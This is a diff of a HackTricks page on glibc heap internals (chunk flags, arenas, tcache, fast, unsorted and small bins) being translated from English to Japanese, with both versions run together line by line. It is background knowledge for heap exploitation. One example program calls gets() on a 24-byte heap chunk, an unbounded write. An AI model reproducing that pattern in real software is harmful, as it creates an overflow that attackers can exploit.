[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) からのクイックヒープの例ですが、arm64で:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void) void main(void)
{ {
char *ptr; char *ptr;
ptr = malloc(0x10); ptr = malloc(0x10);
strcpy(ptr, "panda"); strcpy(ptr, "panda");
} }
``` ```
メイン関数の終わりにブレークポイントを設定し、情報がどこに保存されたかを見てみましょう:
Set a breakpoint at the end of the main function and lets find out where the information was stored:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. 文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocによって返されたアドレスです。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**ことを示しており長さ0、このチャンクの長さは`0x21`です。
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
予約された余分なスペース0x21-0x10=0x11は**追加ヘッダー**0x10から来ており、0x1は0x21Bが予約されたことを意味するのではなく、現在のヘッダーの長さの最後の3ビットには特別な意味があります。長さは常に16バイト境界に揃えられているため64ビットマシンで、これらのビットは実際には長さの数値によって使用されることはありません。
``` ```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
``` ```
### マルチスレッドの例
### Multithreading Example
<details> <details>
<summary>Multithread</summary> <summary>マルチスレッド</summary>
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) { void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n"); printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000); char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n"); printf("After malloc and before free in thread 1\n");
free(addr); free(addr);
printf("After free in thread 1\n"); printf("After free in thread 1\n");
} }
void* threadFuncNoMalloc(void* arg) { void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n"); printf("Hello from thread 2\n");
} }
int main() { int main() {
pthread_t t1; pthread_t t1;
void* s; void* s;
int ret; int ret;
char* addr; char* addr;
printf("Before creating thread 1\n"); printf("Before creating thread 1\n");
getchar(); getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar(); getchar();
printf("Before creating thread 2\n"); printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n"); printf("Before exit\n");
getchar(); getchar();
return 0; return 0;
} }
``` ```
</details> </details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena: 前の例をデバッグすると、最初に1つのアリーナしかないことがわかります
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created: 次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found: その中にはいくつかのチャンクが見つかります:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees ## Bins & Memory Allocations/Frees
Check what are the bins and how are they organized and how memory is allocated and freed in: ビンが何であり、どのように整理されているか、メモリがどのように割り当てられ、解放されるかを確認してください:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
@ -517,7 +491,7 @@ bins-and-memory-allocations.md
## Heap Functions Security Checks ## Heap Functions Security Checks
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: ヒープに関与する関数は、アクションを実行する前に特定のチェックを行い、ヒープが破損していないことを確認しようとします:
{{#ref}} {{#ref}}
heap-memory-functions/heap-functions-security-checks.md heap-memory-functions/heap-functions-security-checks.md

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. チャンクの保存効率を向上させるために、各チャンクは単一のリンクリストにだけ存在するのではなく、いくつかのタイプがあります。これらはビンと呼ばれ、5種類のビンがあります: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小ビン、63 大ビン、1 未整理ビン、10 ファストビン、64 tcacheビンスレッドごと
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. 未整理、小ビン、大ビンの各ビンへの初期アドレスは同じ配列内にあります。インデックス0は未使用、1は未整理ビン、ビン2-64は小ビン、ビン65-127は大ビンです。
### Tcache (Per-Thread Cache) Bins ### Tcache(スレッドごとのキャッシュ)ビン
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. スレッドはそれぞれ独自のヒープを持とうとしますが([アリーナ](bins-and-memory-allocations.md#arenas)および[サブヒープ](bins-and-memory-allocations.md#subheaps)を参照)、多くのスレッドを持つプロセス(ウェブサーバーなど)が**他のスレッドとヒープを共有する可能性があります**。この場合、主な解決策は**ロッカー**の使用であり、これにより**スレッドが大幅に遅くなる可能性があります**。
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). したがって、tcacheはスレッドごとのファストビンに似ており、**チャンクをマージしない単一のリンクリスト**です。各スレッドには**64の単一リンクtcacheビン**があります。各ビンは、[64ビットシステムで24から1032B、32ビットシステムで12から516Bの範囲の](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) [同サイズのチャンクを最大7つ](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323)持つことができます。
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. **スレッドがチャンクを解放するとき**、**tcacheに割り当てるには大きすぎない場合**、かつ該当するtcacheビンが**満杯でない**すでに7つのチャンクがある場合、**そこに割り当てられます**。tcacheに行けない場合は、グローバルに解放操作を実行するためにヒープロックを待つ必要があります。
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ **チャンクが割り当てられるとき**、必要なサイズのフリーなチャンクが**Tcacheにあればそれを使用し**、なければ、グローバルビンで見つけるか新しいものを作成するためにヒープロックを待つ必要があります。\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. また、最適化もあり、この場合、ヒープロックを保持している間、スレッドは**要求されたサイズのヒープチャンク7でTcacheを満たします**。そのため、さらに必要な場合は、Tcache内で見つけることができます。
<details> <details>
<summary>Add a tcache chunk example</summary> <summary>Tcacheチャンクの例を追加</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunk; char *chunk;
chunk = malloc(24); chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk); printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk); gets(chunk);
free(chunk); free(chunk);
return 0; return 0;
} }
``` ```
コンパイルして、main関数のretオペコードにブレークポイントを設定してデバッグします。次に、gefを使用すると、使用中のtcache binを見ることができます:
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
``` ```
</details> </details>
#### Tcache Structs & Functions #### Tcache 構造体と関数
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. 以下のコードでは、**max bins** と **chunks per index**、ダブルフリーを避けるために作成された **`tcache_entry`** 構造体、各スレッドがビンの各インデックスへのアドレスを格納するために使用する構造体 **`tcache_perthread_struct`** を見ることができます。
<details> <details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary> <summary><code>tcache_entry</code><code>tcache_perthread_struct</code></summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x)) # define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are... /* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20 idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28 idx 2 bytes 41..56 or 21..28
etc. */ etc. */
/* This is another arbitrary limit, which tunables can change. Each /* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */ tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7 # define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range /* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */ of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX # define MAX_TCACHE_COUNT UINT16_MAX
[...] [...]
typedef struct tcache_entry typedef struct tcache_entry
{ {
struct tcache_entry *next; struct tcache_entry *next;
/* This field exists to detect double frees. */ /* This field exists to detect double frees. */
uintptr_t key; uintptr_t key;
} tcache_entry; } tcache_entry;
/* There is one of these for each thread, which contains the /* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each are redundant (we could have just counted the linked list each
time), this is for performance reasons. */ time), this is for performance reasons. */
typedef struct tcache_perthread_struct typedef struct tcache_perthread_struct
{ {
uint16_t counts[TCACHE_MAX_BINS]; uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct; } tcache_perthread_struct;
``` ```
</details> </details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj 関数 `__tcache_init``tcache_perthread_struct` オブジェクトのためのスペースを作成し、割り当てる関数です。
<details> <details>
<summary>tcache_init code</summary> <summary>tcache_init コード</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void static void
tcache_init(void) tcache_init(void)
{ {
mstate ar_ptr; mstate ar_ptr;
void *victim = 0; void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct); const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down) if (tcache_shutting_down)
return; return;
arena_get (ar_ptr, bytes); arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL) if (!victim && ar_ptr != NULL)
{ {
ar_ptr = arena_get_retry (ar_ptr, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes);
} }
if (ar_ptr != NULL) if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex); __libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory /* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we - in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial memory, or there isn't enough memory to do non-trivial
allocations anyway. */ allocations anyway. */
if (victim) if (victim)
{ {
tcache = (tcache_perthread_struct *) victim; tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct)); memset (tcache, 0, sizeof (tcache_perthread_struct));
} }
} }
``` ```
</details> </details>
#### Tcache Indexes #### Tcache インデックス
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. Tcache には、サイズに応じていくつかのビンがあり、**各インデックスの最初のチャンクへのポインタとインデックスごとのチャンクの量はチャンク内にあります**。これは、この情報(通常は最初のもの)を持つチャンクを特定することで、すべての tcache 初期ポイントと Tcache チャンクの量を見つけることができることを意味します。
### Fast bins ### ファストビン
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). ファストビンは、**小さなチャンクのメモリ割り当てを高速化するために設計されています**。最近解放されたチャンクを迅速にアクセスできる構造に保持します。これらのビンは、後入れ先出しLIFOアプローチを使用しており、**最も最近解放されたチャンクが最初**に再利用されます。これは、スタックの上部から挿入および削除する方が、キューFIFOよりも速いため、速度にとって有利です。
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. さらに、**ファストビンは単方向リンクリストを使用**しており、双方向リンクではないため、速度がさらに向上します。ファストビンのチャンクは隣接するチャンクとマージされないため、中間から削除を可能にする複雑な構造は必要ありません。単方向リンクリストは、これらの操作に対してよりシンプルで迅速です。
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: 基本的に、ここで起こることは、ヘッダー(最初のチャンクをチェックするためのポインタ)が常にそのサイズの最新の解放されたチャンクを指しているということです。したがって:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk - そのサイズの新しいチャンクが割り当てられると、ヘッダーは使用するための空きチャンクを指します。この空きチャンクが次に使用するチャンクを指しているため、このアドレスはヘッダーに保存され、次の割り当てが利用可能なチャンクを取得する場所を知ることができます。
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header - チャンクが解放されると、空きチャンクは現在の利用可能なチャンクへのアドレスを保存し、この新しく解放されたチャンクへのアドレスがヘッダーに置かれます。
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... リンクリストの最大サイズは `0x80` であり、サイズ `0x20` のチャンクはインデックス `0` に、サイズ `0x30` のチャンクはインデックス `1` に配置されます...
> [!CAUTION] > [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. > ファストビンのチャンクは利用可能として設定されていないため、周囲の他の空きチャンクとマージできる代わりに、しばらくの間ファストビンチャンクとして保持されます。
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/* /*
Fastbins Fastbins
An array of lists holding recently freed small chunks. Fastbins An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists, since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which ordering doesn't much matter in the transient contexts in which
fastbins are normally used. fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with releases all chunks in fastbins and consolidates them with
other free chunks. other free chunks.
*/ */
typedef struct malloc_chunk *mfastbinptr; typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */ /* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \ #define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */ /* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
``` ```
<details> <details>
<summary>Add a fastbin chunk example</summary> <summary>ファストビンチャンクの例を追加</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[8]; char *chunks[8];
int i; int i;
// Loop to allocate memory 8 times // Loop to allocate memory 8 times
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
chunks[i] = malloc(24); chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i); fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1; return 1;
} }
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
} }
// Loop to free the allocated memory // Loop to free the allocated memory
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
free(chunks[i]); free(chunks[i]);
} }
return 0; return 0;
} }
``` ```
8つの同じサイズのチャンクを割り当てて解放する方法に注意してください。これによりtcacheが満たされ、8つ目のチャンクがファストチャンクに格納されます。
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. コンパイルして、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクがファストビンにあることがわかります。
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00 Fastbins[idx=1, size=0x30] 0x00
``` ```
</details> </details>
### Unsorted bin ### 未整理ビン
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." 未整理ビンは、ヒープマネージャーによってメモリ割り当てを迅速に行うために使用される**キャッシュ**です。動作は次のようになりますプログラムがチャンクを解放すると、そのチャンクがtcacheやファストビンに割り当てられず、トップチャンクと衝突しない場合、ヒープマネージャーはすぐに特定の小さなビンや大きなビンに入れません。代わりに、最初に**隣接する空きチャンクとマージしようとします**。これにより、より大きな空きメモリブロックが作成されます。その後、この新しいチャンクは「未整理ビン」と呼ばれる一般的なビンに配置されます。
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. プログラムが**メモリを要求すると**、ヒープマネージャーは**未整理ビンをチェック**して、十分なサイズのチャンクがあるかどうかを確認します。見つかれば、すぐに使用します。未整理ビンに適切なチャンクが見つからない場合は、このリスト内のすべてのチャンクをサイズに基づいて対応するビン(小または大)に移動します。
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. 注意すべきは、より大きなチャンクが2つの半分に分割され、残りがMINSIZEより大きい場合、それは未整理ビンに戻されるということです。
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. したがって、未整理ビンは、最近解放されたメモリを迅速に再利用することでメモリ割り当てを加速し、時間のかかる検索やマージの必要性を減らす方法です。
> [!CAUTION] > [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. > チャンクが異なるカテゴリであっても、利用可能なチャンクが別の利用可能なチャンクと衝突している場合(元々異なるビンに属していても)、それらはマージされることに注意してください。
<details> <details>
<summary>Add a unsorted chunk example</summary> <summary>未整理チャンクの例を追加</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[9]; char *chunks[9];
int i; int i;
// Loop to allocate memory 8 times // Loop to allocate memory 8 times
for (i = 0; i < 9; i++) { for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100); chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i); fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1; return 1;
} }
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
} }
// Loop to free the allocated memory // Loop to free the allocated memory
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
free(chunks[i]); free(chunks[i]);
} }
return 0; return 0;
} }
``` ```
同じサイズの9つのチャンクを割り当てて解放する方法に注意してください。これにより、**tcacheが満たされ**、8つ目は**fastbinには大きすぎる**ため、未ソートのビンに格納されます。そして9つ目は解放されていないため、8つ目と9つ目は**トップチャンクとマージされません**。
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクが未ソートのビンにあることがわかります
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00 Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin. [+] Found 1 chunks in unsorted bin.
``` ```
</details> </details>
### Small Bins ### スモールビン
Small bins are faster than large bins but slower than fast bins. スモールビンはラージビンよりも速いですが、ファストビンよりは遅いです。
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. 62の各ビンは**同じサイズのチャンク**を持ちます16、24、...32ビットでの最大サイズは504バイト、64ビットでの最大サイズは1024バイト。これは、スペースを割り当てるべきビンを見つける速度や、これらのリストへのエントリの挿入と削除を助けます。
This is how the size of the small bin is calculated according to the index of the bin: スモールビンのサイズはビンのインデックスに応じて次のように計算されます:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
- 最小サイズ2\*4\*indexインデックス5 -> 40
- 最大サイズ2\*8\*indexインデックス5 -> 80
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64 #define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \ #define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \ #define smallbin_index(sz) \
